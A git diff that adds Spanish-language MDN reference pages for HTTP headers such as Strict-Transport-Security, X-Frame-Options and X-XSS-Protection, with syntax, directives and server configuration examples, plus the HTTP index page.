Compatibilidad de los navegadores

+ + + +

{{Compat("http.headers.Set-Cookie", 5)}}

+ +

Notas de compatibilidad

+ + + +

Ver también

+ + diff --git a/files/es/web/http/headers/strict-transport-security/index.html b/files/es/web/http/headers/strict-transport-security/index.html new file mode 100644 index 0000000000..a7a230454f --- /dev/null +++ b/files/es/web/http/headers/strict-transport-security/index.html @@ -0,0 +1,112 @@ +--- +title: Strict-Transport-Security +slug: Web/HTTP/Headers/Strict-Transport-Security +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +
{{HTTPSidebar}}
+ +

HTTP Strict-Transport-Security  (a menudo abreviado como {{Glossary("HSTS")}}) es una característica de seguridad que permite a un sitio web indicar a los navegadores que sólo se debe comunicar con HTTPS en lugar de usar HTTP.

+ + + + + + + + + + + + +
Tipo de Encabezado{{Glossary("Encabezado de Respuesta")}}
{{Glossary("Nombre de Encabezado Prohibido")}}no
+ +

Sintaxis

+ +
Strict-Transport-Security: max-age=<expire-time>
+Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
+Strict-Transport-Security: max-age=<expire-time>; preload
+
+ +

Directivas

+ +
+
max-age=<expire-time>
+
Es el tiempo, en segundos, que el navegador debe recordar que el sitio solo debe ser accsible usando HTTPS.
+
includeSubDomains {{optional_inline}}
+
Si este parámetro opcional está especificado, la regla aplica para todos los subdominiones del sitio.
+
preload {{optional_inline}}
+
Ver {{anch("Precargando Strict Transport Security")}} para mas detalles. No es parte de la especificación.
+
+ +

Descripción

+ +

Si un sitio web acepta una conexión a través de HTTP y redirecciona a HTTPS, el usuario en este caso podría inicialmente hablar a la versión no encriptada del sitio antes de ser redireccionado, si por ejemplo el usuario tipea http://www.foo.com/ o incluso solo foo.com.

+ +

Esto habilita el potencial ataque man-in-the-middle, donde el redireccionamiento podría ser aprovechado para enviar al usuario a un sitio malicioso en lugar de la versión segura de la página original. 

+ +

El encabezado HTTP Strict Transport Security permite a un sitio web informar al navegador que nunca cargue el sitio usando HTTP y que debe automáticamente convertir todos los intentos de acceso HTTP a HTTPS.

+ +
Nota: El encabezado Strict-Transport-Security es  ignorado por el navegador cuando el sitio es accedido usando HTTP; esto es porque un atacante podría interceptar las conexines HTTP e inyectar el encabezado o removerlo. Cuando el sitio es accedido a través de HTTPS con un certificado sin errores, el navegador sabe que el sitio es capaz de usar HTTPS y cumple con lo indicado en el encabezado Strict-Transport-Security.
+ +

Un escenario de ejemplo

+ +

Tu ingresas a una red WiFi libre en un areopuerto y empiezas a nevegar por el internet visitando tu servicio de banca en linea para revisar tu estado de cuenta y pagar algunas cuentas. Desafortunadamente, el punto de acceso que estás usando es actualmente un computador portátil de un hacker. Ellos están interceptando todas tus solicitudes originales HTTP y redireccionando a un clone del sitio de tu banco en lugar del sitio real. Ahora tus datos privados están expuestos al hacker.

+ +

Strict Transport Security resuelve este problema; siempre que hayas ingresado al sitio de tu banco una vez usando HTTPS y el sitio del banco use Strict Transport Security. Tu navegador sabe que debe usar HTTPS, lo cual previene el hacker realizar este tipo de ataque. 

+ +

Como el navegador lo maneja

+ +

La primera vez que accediste al sitio usando HTTPS y este retornó el encabezado Strict-Transport-Security, el navegador registra esta información, de tal manera que en futuros intentos para cargar el sitio usando HTTP va a usar en su lugar HTTPS automáticamente. 

+ +

Cuando el tiempo de expiración especificado por el encabezado Strict-Transport-Security haya pasado, el siguiente intento de cargar el sitio a través de HTTP se va a procesar de forma normal.

+ +

En cualquier momento que el encabezado Strict-Transport-Security sea entregado el navegador, este actualiza el tiempo de expiración para el sitio, así los sitios pueden refrescar su información y prevenir el tiempo de expiración. Para deshabilitarlo sería necesario configurar max-age a 0 sobre una conexión HTTPS, entonces automáticamente expira el encabezado Strict-Transport-Security permitiendo acceso vía HTTP.

+ +

Precargando Strict Transport Security

+ +

Google mantiene un servicio de precarga HSTS. Siguiendo la siguiente guía  y enviando un dominio válido, los navegadores nunca se conectarán a utu dominio usando una conexión insegura. Mientras el servicio esté sobre Google, todos los navegadores tienen determinado intentar usar la lista precargada. 

+ + + +

Ejemplos

+ +

Todos los presentes y futuros subdominios usarán HTTPS durante 1 año. 

+ +

This blocks access to pages or sub domains that can only be served over HTTP.

+ +
Strict-Transport-Security: max-age=31536000; includeSubDomains
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónEstadoComentario
{{SpecName('HSTS')}}{{Spec2('HSTS')}}Definición inicial
+ +

Compatibilidad de navegadores

+ + + +

{{Compat("http/headers/strict-transport-security")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/transfer-encoding/index.html b/files/es/web/http/headers/transfer-encoding/index.html new file mode 100644 index 0000000000..1bd1e138e2 --- /dev/null +++ b/files/es/web/http/headers/transfer-encoding/index.html @@ -0,0 +1,117 @@ +--- +title: Transfer-Encoding +slug: Web/HTTP/Headers/Transfer-Encoding +tags: + - Castellano Transfer encoding + - HTTP Header + - Métodos HTTP + - Referências + - header + - transfer encoding español +translation_of: Web/HTTP/Headers/Transfer-Encoding +--- +
+ +
El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de forma segura el {{Glossary("Payload body", "cuerpo del payload")}} al usuario.
+ +
+ +
HTTP/2 no admite el mecanismo de codificación de transferencia fragmentada de HTTP 1.1, ya que proporciona sus propios mecanismos, más eficientes, para la transmisión de datos.
+ +

Transfer-Encoding es un encabezado salto por salto, que se aplica a un mensaje entre dos nodos, no a un recurso en sí mismo. Cada segmento de una conexión de múltiples nodos puede usar diferentes valores de Transfer-Encoding. Si desea comprimir datos en toda la conexión, use el encabezado de extremo a extremo {{HTTPHeader("Content-Encoding")}} en su lugar.

+ +

Cuando está presente en una respuesta a una solicitud {{HTTPMethod ("HEAD")}} que no tiene cuerpo, indica el valor que se habría aplicado al mensaje {{HTTPMethod ("GET")}} correspondiente.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Sintaxis

+ +
Transfer-Encoding: chunked
+Transfer-Encoding: compress
+Transfer-Encoding: deflate
+Transfer-Encoding: gzip
+Transfer-Encoding: identity
+
+// Se pueden enumerar varios valores, separados por una coma
+Transfer-Encoding: gzip, chunked
+ +

Directivas

+ +
+
chunked
+
Los datos se envían en una serie de fragmentos. El encabezado {{HTTPHeader ("Content-Length")}} se omite en este caso y al comienzo de cada fragmento debe agregar la longitud del fragmento actual en formato hexadecimal, seguido de '\r\n' y luego el trozo en sí, seguido de otro '\r\n'. El trozo de terminación es un trozo regular, con la excepción de que su longitud es cero. Le sigue el avance, que consiste en una secuencia (posiblemente vacía) de campos de encabezado de entidad.
+
compress
+
Un formato usando el algoritmo Lempel-Ziv-Welch (LZW). El nombre del valor se tomó del programa de compresión UNIX, que implementó este algoritmo.
+ Al igual que el programa de compresión, que ha desaparecido de la mayoría de las distribuciones de UNIX, esta codificación de contenido no es utilizada por casi ningún navegador en la actualidad, en parte debido a un problema de patente (que expiró en 2003).
+
deflate
+
Usando la estructura zlib (definida en la RFC 1950), con el algoritmo de compresión deflate (definido en la RFC 1951).
+
gzip
+
Un formato usando la codificación Lempel-Ziv (LZ77), con un CRC de 32 bits. Este es originalmente el formato del programa gzip de UNIX. El estándar HTTP / 1.1 también recomienda que los servidores que admiten esta codificación de contenido deben reconocer como un alias x-gzip, para fines de compatibilidad.
+
identity
+
Indica la función de identidad (es decir, sin compresión ni modificación). Este token, excepto si se especifica explícitamente, siempre se considera aceptable.
+
+ +

Ejemplos

+ +

Codificación Fragmentada

+ +

La codificación fragmentada es útil cuando se envían grandes cantidades de datos al cliente y el tamaño total de la respuesta puede no conocerse hasta que la solicitud se haya procesado por completo. Por ejemplo, al generar una tabla HTML grande como resultado de una consulta a la base de datos o al transmitir imágenes grandes. Veamos un ejemplo de una respuesta fragmentada:

+ +
HTTP/1.1 200 OK
+Content-Type: text/plain
+Transfer-Encoding: chunked
+
+7\r\n
+Mozilla\r\n
+9\r\n
+Developer\r\n
+7\r\n
+Network\r\n
+0\r\n
+\r\n
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7230", "Transfer-Encoding", "3.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Compatibilidad con el Navegador

+ + + +

{{Compat("http.headers.Transfer-Encoding")}}

+ +

Ver además:

+ + diff --git a/files/es/web/http/headers/user-agent/index.html b/files/es/web/http/headers/user-agent/index.html new file mode 100644 index 0000000000..f02289e69e --- /dev/null +++ b/files/es/web/http/headers/user-agent/index.html @@ -0,0 +1,140 @@ +--- +title: User-Agent +slug: Web/HTTP/Headers/User-Agent +tags: + - HTTP + - Referencia + - header +translation_of: Web/HTTP/Headers/User-Agent +--- +
{{HTTPSidebar}}
+ +

La solicitud de cabecera del Agente de Usuario contiene una cadena característica que permite identificar el protocolo de red  que ayuda a descubrir  el tipo de aplicación, sistema operativo, provedor del software o laversión del software de la petición del agente de usuario.

+ +
+

Lea Browser detection using the user agent y vea porque utilizar diferentes páginas web o servicios en diferentes navegadores es  normalmente una mala idea

+ +

 

+
+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
User-Agent: <product> / <product-version> <comment>
+
+Common format for web browsers:
+
+User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
+
+ +

Directivas

+ +
+
<product>
+
Identificador del producto
+
<product-version>
+
Numero de versión del producto.
+
<comment>
+
Ninguno o más comentatios conteniendo infomacion del subproducto, por ejemplo.
+
+ +

Cadena del Agente de usuario de Firefox

+ +

Para más detalles del Agente de usuario basado en cadenas de texto en Firefox y Gecko , lea Firefox user agent string reference. La cadena de agente de usuario de Firefox esta dividida en 4 componentes.

+ +

Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion

+ + + +

Ejemplo

+ +
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
+
+ +

Cadena del Agente de Usuario de Chrome

+ +

El agente de usuario de Chrome (or Chromium/blink-based engines) es similar al formato usado por Firefox. Por efectos de compatibilidad, añade una string como "KHTML like Gecko" y "Safari",

+ +

Ejemplo

+ +
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
+ +

Cadena del Agente de Usuario de Opera

+ +

El navegador Opera tambien esta basado en el mismo motor (blink engine), que es casi lo mismo, con la exepción de que este añade "OPR/<version>".

+ +

Ejemplo

+ +
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
+ +

Cadena del Agente de Usuario de Safari

+ +

En el ejemplo, la cadena del Agente de usuario  es tomado de una versión movil de safari, esta contiene la palabra "Mobile".

+ +

Ejemplo

+ +
Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1
+ +

Cadena del Agente de Usuario de Internet Explorer

+ +

Ejemplo

+ +
Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
+ +

Cadena del Agente de Usuariode Crawler Y bot UA strings

+ +

Ejemplo

+ +
Googlebot/2.1 (+http://www.google.com/bot.html)
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "User-Agent", "5.5.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad entre navegadores

+ + + +

{{Compat("http.headers.User-Agent")}}

+ +

Vea tambien

+ + diff --git a/files/es/web/http/headers/vary/index.html b/files/es/web/http/headers/vary/index.html new file mode 100644 index 0000000000..0de2382a81 --- /dev/null +++ b/files/es/web/http/headers/vary/index.html @@ -0,0 +1,81 @@ +--- +title: Vary +slug: Web/HTTP/Headers/Vary +translation_of: Web/HTTP/Headers/Vary +--- +
{{HTTPSidebar}}
+ +

El encabezado de respuesta Vary HTTP determina como hacer coincidir los encabezados de las solicitudes futuras para decidir si se puede utilizar una respuesta almacenada en caché en lugar de solicitar una nueva desde el servidor de origen. Esto es usado por el servidor para indicar cuales encabezados usa cuando selecciona una representación de recursos en un algoritmo content negotiation .

+ +

El encabezado Vary se debe establecer en una respuesta  {{HTTPStatus("304")}} Not Modified exactamente igual que habría sido fijado en una respuesta equivalente {{HTTPStatus("200")}} OK.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Vary: *
+Vary: <header-name>, <header-name>, ...
+
+ +

Directivas

+ +
+
*
+
Cada solicitud para una URL debe ser tratada como unica e inaccesible . Una de las mejores formas de indicar esto es {{HTTPHeader("Cache-Control")}}: private, la cual hace mas claro leer y  señalar que el objeto no debe ser almacenado nunca.
+
<header-name>
+
Una lista de nombres de encabezados separados por coma para tener en cuenta al decidir si se puede utilizar o no una respuesta cache.
+
+ +

Ejemplos

+ +

Servicio Dinámico

+ +

Cuando usamos el encabezado Vary: User-Agent , los servidores de almacenamiento en cache deben considerar al agente de usuario al decidir si desea publicar la pagína desde la memoria cache. Por ejemplo, si estas sirviendo contenido diferente a usuarios moviles, puede ayudarle a evitar que la memoria cache puede servir erróneamente una version de escritorio de su sitio a usuarios móviles. Esto puede ayudar a Googley otros motoress de busqueda para descubrir la version de una pagina web, y ademas permitir que intenten Cloaking.

+ +
Vary: User-Agent
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Vary", "7.1.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.Vary")}}

+ +

Notas de Compatibilidad

+ + + +

Vea tambien

+ + diff --git a/files/es/web/http/headers/www-authenticate/index.html b/files/es/web/http/headers/www-authenticate/index.html new file mode 100644 index 0000000000..d3456d4258 --- /dev/null +++ b/files/es/web/http/headers/www-authenticate/index.html @@ -0,0 +1,87 @@ +--- +title: WWW-Authenticate +slug: Web/HTTP/Headers/WWW-Authenticate +translation_of: Web/HTTP/Headers/WWW-Authenticate +--- +
{{HTTPSidebar}}
+ +

La cabezera de la respuesta HTTP WWW-Authenticate define el método de autentificación que debe ser utilizado para acceder al recurso solicitado.

+ +

La cabezera WWW-Authenticate  es enviada junto al estado  {{HTTPStatus("401")}} Unauthorized en la respuesta.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Syntax

+ +
WWW-Authenticate: <type> realm=<realm>
+
+ +

Directives

+ +
+
<type>
+
Tipo de autentificación. Un tipo común es "Basic". IANA mantiene una lista de los esquemas de autentificación.
+
realm=<realm>
+
Una descripción del recurso protegido. Si el realm no es especificado, los clientes a menudo muestran el hostname.
+
charset=<charset>
+
Le indica al cliente el tipo de encoding scheme preferido por el servidor cuando se envía un nombre de usuario y contraseña. El único valor permitido es la cadena de texto (no diferencia entre mayúsculas o mínusculas) "UTF-8".  Esto no esta relacionado a el encoding del parámetro realm.
+
+ +

Examples

+ +

Typically, a server response contains a WWW-Authenticate header that looks like these:

+ +
WWW-Authenticate: Basic
+
+WWW-Authenticate: Basic realm="Access to the staging site", charset="UTF-8"
+
+ +

See also HTTP authentication for examples on how to configure Apache or nginx servers to password protect your site with HTTP basic authentication.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7235", "WWW-Authenticate", "4.1")}}HTTP/1.1: Authentication
{{RFC("7617")}}The 'Basic' HTTP Authentication Scheme
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.WWW-Authenticate")}}

+ +

See also

+ + diff --git a/files/es/web/http/headers/x-content-type-options/index.html b/files/es/web/http/headers/x-content-type-options/index.html new file mode 100644 index 0000000000..29d4fb6986 --- /dev/null +++ b/files/es/web/http/headers/x-content-type-options/index.html @@ -0,0 +1,83 @@ +--- +title: X-Content-Type-Options +slug: Web/HTTP/Headers/X-Content-Type-Options +tags: + - Encabezado de respuesta + - Encabezados HTTP + - HTTP + - Referencia +translation_of: Web/HTTP/Headers/X-Content-Type-Options +--- +
{{HTTPSidebar}}
+ +

El encabezado HTTP de respuesta X-Content-Type-Options es un marcador utilizado por el servidor para indicar que los tipos MIME anunciados en los encabezados {{HTTPHeader("Content-Type")}} no se deben cambiar ni seguir. Esto permite desactivar el MIME type sniffing, o, en otras palabras, es una manera de decir que los webmasters sabían lo que estaban haciendo.

+ +

Este encabezado fue introducido por Microsoft en IE 8 para que los webmasters bloquearan el rastreo de contenido, pudiendo transformar tipos MIME no ejecutables en tipos MIME ejecutables. Desde entonces, otros navegadores lo han introducido, incluso con  algoritmos de detección MIME menos agresivos.

+ +

Los evaluadores de seguridad del sitio suelen esperar que este encabezado aparezca.

+ +

Note: nosniff solo se aplican a los tipos "script" y "style". Además la aplicación de nosniff a las imágenes resulto ser incompatible con los sitios web existentes.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
X-Content-Type-Options: nosniff
+
+ +

Directivas

+ +
+
nosniff
+
Bloquea una solicitud si el tipo solicitado es +
    +
  • "style" y el tipo MIME no es "text/css", o
    • +
  • "script" y el tipo MIME no es un JavaScript MIME type.
    • +
+
+
+ +

Especificaciones

+ + + + + + + + + + + + + + +
EspecificaciónEstadoComentario
{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}{{Spec2("Fetch")}}Definición inicial
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.X-Content-Type-Options")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/headers/x-forwarded-for/index.html b/files/es/web/http/headers/x-forwarded-for/index.html new file mode 100644 index 0000000000..dfa92db08b --- /dev/null +++ b/files/es/web/http/headers/x-forwarded-for/index.html @@ -0,0 +1,74 @@ +--- +title: X-Forwarded-For +slug: Web/HTTP/Headers/X-Forwarded-For +translation_of: Web/HTTP/Headers/X-Forwarded-For +--- +
{{HTTPSidebar}}
+ +

La cabecera X-Forwarded-For (XFF) es un estándar de facto para identificar el origen de la dirección IP de un cliente conectado a un servidor web a través de un proxy HTTP o un balanceador de carga. Cuando se intercepta el tráfico entre cliente y servidores, los registros de los servidores de acceso contienen sólo la dirección IP del proxy o del balanceador de carga. Para ver la dirección IP original del cliente, se utiliza la cabecera X-Forwarded-For.

+ +

Esta cabecera se usa para la depuración, estadísticas, y la generación de contenido dependiente de la ubicación. De forma deliberada, expone información privada sensible como la dirección IP del cliente. Por lo tanto, debe tenerse en cuenta la privacidad del usuario a la hora de publicar esta cabecera.

+ +

Una versión estandarizada de esta cabecera es la cabecera HTTP {{HTTPHeader("Forwarded")}}.

+ +

X-Forwarded-For es también una cabecera de correo electrónico que indica que el mismo fue reenviado desde otra cuenta.

+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
X-Forwarded-For: <client>, <proxy1>, <proxy2>
+
+ +

Directivas

+ +
+
<cliente>
+
La dirección IP del cliente
+
<proxy1>, <proxy2>
+
Si una solicitud pasa por varios proxies, las direcciones IP de cada proxy se listan en forma sucesiva. Esto significa que la IP de más a la derecha es la IP del proxy más reciente, y la IP de más a la izquierda es la IP del cliente originador. 
+
+ +

Ejemplos

+ +
X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+
+ +

Otras formas no estándar:

+ +
# Usado para algunos servicios de Google
+X-ProxyUser-Ip: 203.0.113.19
+ +

Especificaciones

+ +

No es parte de especificación actual alguna. La versión estandarizada de este cabezal es {{HTTPHeader("Forwarded")}}.

+ +

Browser compatibility

+ + + +

{{Compat("http.headers.X-Forwarded-For")}}

+ +

See also

+ + diff --git a/files/es/web/http/headers/x-frame-options/index.html b/files/es/web/http/headers/x-frame-options/index.html new file mode 100644 index 0000000000..954cc3792f --- /dev/null +++ b/files/es/web/http/headers/x-frame-options/index.html @@ -0,0 +1,134 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/Headers/X-Frame-Options +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +
{{HTTPSidebar}}
+ +

El encabezado de respuesta HTTP X-Frame-Options puede ser usado para indicar si debería permitírsele a un navegador renderizar una página en un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} o {{HTMLElement("object")}} . Las páginas webs pueden usarlo para evitar ataques de {{interwiki("wikipedia", "clickjacking")}} , asegurándose que su contenido no es embebido en otros sitios.

+ +

La seguridad añadida sólo es proporcionada si el usuario que está accediendo al documento está utilizando un navegador que soporte X-Frame-Options.

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Response header")}}
{{Glossary("Nombre de encabezado prohibido")}}no
+ +

Sintaxis

+ +

Existen tres posibles directivas para X-Frame-Options:

+ +
X-Frame-Options: DENY
+X-Frame-Options: SAMEORIGIN
+X-Frame-Options: ALLOW-FROM https://example.com/
+
+ +

Directivas

+ +

Si especifica DENY, fallarán no sólo los intentos de cargar la página en un marco desde otros sitios, sino que fallarán cuando sea cargada desde el mismo sitio. Por otro lado, si especifica SAMEORIGIN, puede usar la página en un marco mientras el sitio que la incluya sea el mismo que la sirve.

+ +
+
DENY
+
La página no puede ser mostrada en un marco, independiente del sitio que esté intentándolo.
+
SAMEORIGIN
+
La página sólo puede ser mostrada en un marco del mismo origen que dicha página.
+
ALLOW-FROM uri
+
La página sólo puede ser mostrada en un marco del origen especificado.Tenga en cuenta que en Firefox esto todavía sufre del mismo problema que SAMEORIGIN — no verifica los antecesores del marco para ver si están en el mismo origen.
+
+ +

Ejemplos

+ +
+

Nota: ¡Configurar el tag meta es inútil! Por ejemplo, <meta http-equiv="X-Frame-Options" content="deny"> no tiene efecto. ¡No lo use! Sólo funcionará configurando el encabezado HTTP X-Frame-Options como en los ejemplos anteriores.

+
+ +

Configurando Apache

+ +

Agregue lo siguiente a la configuración de su sitio para que Apache envíe el encabezado X-Frame-Options para todas las páginas:

+ +
Header always append X-Frame-Options SAMEORIGIN
+
+ +

Para que Apache envíe X-Frame-Options  deny , agregue lo siguiente a la configuración de su sitio:

+ +
Header set X-Frame-Options DENY
+
+ +

Para que Apache envíe el encabezado X-Frame-Options para permitir (ALLOW-FROM) un host en específico, agregue esto a la configuración de su sitio:

+ +
Header set X-Frame-Options "ALLOW-FROM https://example.com/"
+
+ +

Configurando nginx

+ +

Para configurar nginx a que envíe el encabezado X-Frame-Options , agregue esto a la configuración, ya sea http, server o location:

+ +
add_header X-Frame-Options SAMEORIGIN;
+
+ +

Configurando IIS

+ +

Para hacer que IIS envíe el encabezado X-Frame-Options, agrege esto al archivo Web.config de su sitio:

+ +
<system.webServer>
+  ...
+
+  <httpProtocol>
+    <customHeaders>
+      <add name="X-Frame-Options" value="SAMEORIGIN" />
+    </customHeaders>
+  </httpProtocol>
+
+  ...
+</system.webServer>
+
+ +

Configurando HAProxy

+ +

Para hacer que HAProxy envíe el encabezado X-Frame-Options, agrege lo siguiente a su configuración front-end, listen, o backend:

+ +
rspadd X-Frame-Options:\ SAMEORIGIN
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7034")}}HTTP Header Field X-Frame-Options
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http.headers.X-Frame-Options")}}

+ +

 

+ +

Corrección de traducción por Ervin A. Santos R.

+ +

el 21-Oct-2018

+ +

Vea también

+ + diff --git a/files/es/web/http/headers/x-xss-protection/index.html b/files/es/web/http/headers/x-xss-protection/index.html new file mode 100644 index 0000000000..6ba07cc02a --- /dev/null +++ b/files/es/web/http/headers/x-xss-protection/index.html @@ -0,0 +1,87 @@ +--- +title: X-XSS-Protection +slug: Web/HTTP/Headers/X-XSS-Protection +tags: + - HTTP + - Referencia + - Seguridad + - XSS + - encabezado +translation_of: Web/HTTP/Headers/X-XSS-Protection +--- +
{{HTTPSidebar}}
+ +

El encabezado de respuesta HTTP X-XSS-Protection es una característica de Internet Explorer, Chrome y Safari que impide la carga de una página cuando detecta ataques del tipo Cross-Site ({{Glossary("XSS")}}). Esta protección ya no es necesaria en los navegadores modernos cuando el sitio implementa una fuerte {{HTTPHeader("Content-Security-Policy")}}  que deshabilita el uso de Javascript inline ('unsafe-inline'). Sin embargo da protección a los usuarios de navegadores más antiguos que no soportan  {{Glossary("CSP")}}

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Response header")}}
{{Glossary("Nombre de encabezado prohibido")}}no
+ +

Sintaxis

+ +
X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=<reporting-uri>
+
+ +
+
0
+
Desativa el filtro XSS.
+
1
+
Habilita el filtro XSS (generalmente está predeterminado en los navegadores). En caso de detección de un ataque cross-site scripting, el navegador sanitizará a página (eliminará las partes inseguras).
+
1; mode=block
+
Habilita el filtrado XSS. En vez de sanitizar la página, el navegador evitará la visualización de la página en caso de que algún ataque sea detectado.
+
1; report=<reporting-URI>  (Chromium solamente)
+
Habilita el filtro XSS. En caso de que algún ataque de cross-site scripting sea detectado, el navegador sanitizará la página e informará sobre la infracción. Utiliza la funcionalidad de la directiva CSP {{CSP("report-uri")}} para enviar um reporte.
+
+ +

Ejemplo

+ +

Bloquea las páginas en las que se detecta un ataque XSS:

+ +

 

+ +
X-XSS-Protection: 1; mode=block
+ +

 

+ +

PHP

+ +
header("X-XSS-Protection: 1; mode=block");
+ +

Apache (.htaccess)

+ +
<IfModule mod_headers.c>
+  Header set X-XSS-Protection "1; mode=block"
+</IfModule>
+ +

Especificaciones

+ +

No forma parte de ninguna especificación o borrador.

+ +

Compatibilidad de los navegadores

+ + + +

{{Compat("http.headers.X-XSS-Protection")}}

+ +

Vea también

+ + diff --git a/files/es/web/http/index.html b/files/es/web/http/index.html new file mode 100644 index 0000000000..1b26cddb1a --- /dev/null +++ b/files/es/web/http/index.html @@ -0,0 +1,85 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - Desarrollo web + - HTTP + - Referencia + - TCP/IP + - TopicStub + - Web +translation_of: Web/HTTP +--- +
{{ HTTPSidebar }}
+ +

Hypertext Transfer Protocol (HTTP) (o Protocolo de Transferencia de Hipertexto en español) es un protocolo de la capa de aplicación para la transmisión de documentos hipermedia, como HTML. Fue diseñado para la comunicación entre los navegadores y servidores web, aunque puede ser utilizado para otros propósitos también. Sigue el clásico modelo cliente-servidor, en el que un cliente establece una conexión, realizando una petición a un servidor y espera una respuesta del mismo. Se trata de un protocolo sin estado, lo que significa que el servidor no guarda ningún dato (estado) entre dos peticiones. Aunque en la mayoría de casos se basa en una conexión del tipo TCP/IP, puede ser usado sobre cualquier capa de transporte segura o de confianza, es decir, sobre cualquier protocolo que no pierda mensajes silenciosamente, tal como UDP.

+ +
+
+

Tutoriales

+ +

Aprende cómo utilizar HTTP con guías y tutoriales.

+ +
+
Generalidades de HTTP
+
Se presentan las características básicas del protocolo y su estructura cliente-servidor: qué puede hacer y cuáles son sus usos.
+
HTTP Caché
+
La gestión de la Caché es fundamental para la eficiencia de sitios Web. En este artículo se presentan los distintos tipos de caché y cómo usar las cabeceras HTTP para su configuración y control.
+
+ +
+
HTTP Cookies
+
El funcionamiento de las cookies se define en RFC 6265. Al recibir una petición HTTP, un servidor puede enviar una cabecera Set-Cookie junto con la respuesta. Posteriormente el cliente devuelve el valor de la cookie en cada petición al mismo servidor en forma de cabecera de solicitud Cookie. La cookie también puede tener una fecha de expiración determinada, o puede estar restringida a un dominio y path específico.
+
Control de Acceso HTTP (CORS)
+
Las Solicitudes Inter-Sitio HTTP (Cross-site HTTP requests en inglés), son peticiones HTTP por recursos pertenecientes a un dominio distinto al dominio del recurso que está haciendo la petición. Por ejemplo, una página HTML de un dominio A (http://dominioa.ejemplo/) hace una solicitud por una imagen en un dominio B (http://dominiob.foo/imagen.jpg) a través del elemento img. Hoy en día, las webs utilizan recursos de otros orígenes muy a menudo, incluyendo hojas de estilo CSS, imágenes, scripts y otros recursos. El Control de Acceso HTTP posibilita a los desarrolladores web a controlar cómo su sitio web responde a solicitudes de otros orígenes.
+
+ +
+
Evolución de HTTP
+
Una breve descripción de los cambios del protocolo HTTP desde sus primeras versiones hasta el moderno HTTP/2 y más allá.
+
Consejos de Seguridad Web de Mozilla
+
Una colección de tips para ayudar a equipos de desarrollo con la creación de aplicaciones web seguras.
+
Mensajes HTTP
+
Se describen los tipos de mensajes y distintas estructuras de los mensajes del protocolo HTTP/1.X y HTTP/2
+
 La típica sesión HTTP
+
Se muestra y explica cómo es una sesión HTTP típica.
+
Manejo de conexión en HTTP/1.X 
+
Se describen los tres tipos de gestiones posibles en una sesión HTTP/1.x, sus principales ventajas e inconvenientes.
+
 
+
+
+ +
+

Referencias

+ +

Navega la documentación detallada del protocolo HTTP.

+ +
+
Cabeceras HTTP 
+
Las cabeceras de mensaje HTTP se usan para describir un recurso, o el comportamiento del servidor o del cliente. Pueden agregarse cabeceras personalizadas usando el prefijo 'X-'; otras en un registro IANA, cuyo contenido fue inicialmente definido en RFC 4229. IANA mantiene también un registro de nuevas cabeceras de mensaje HTTP propuestas.
+
Métodos de Petición HTTP
+
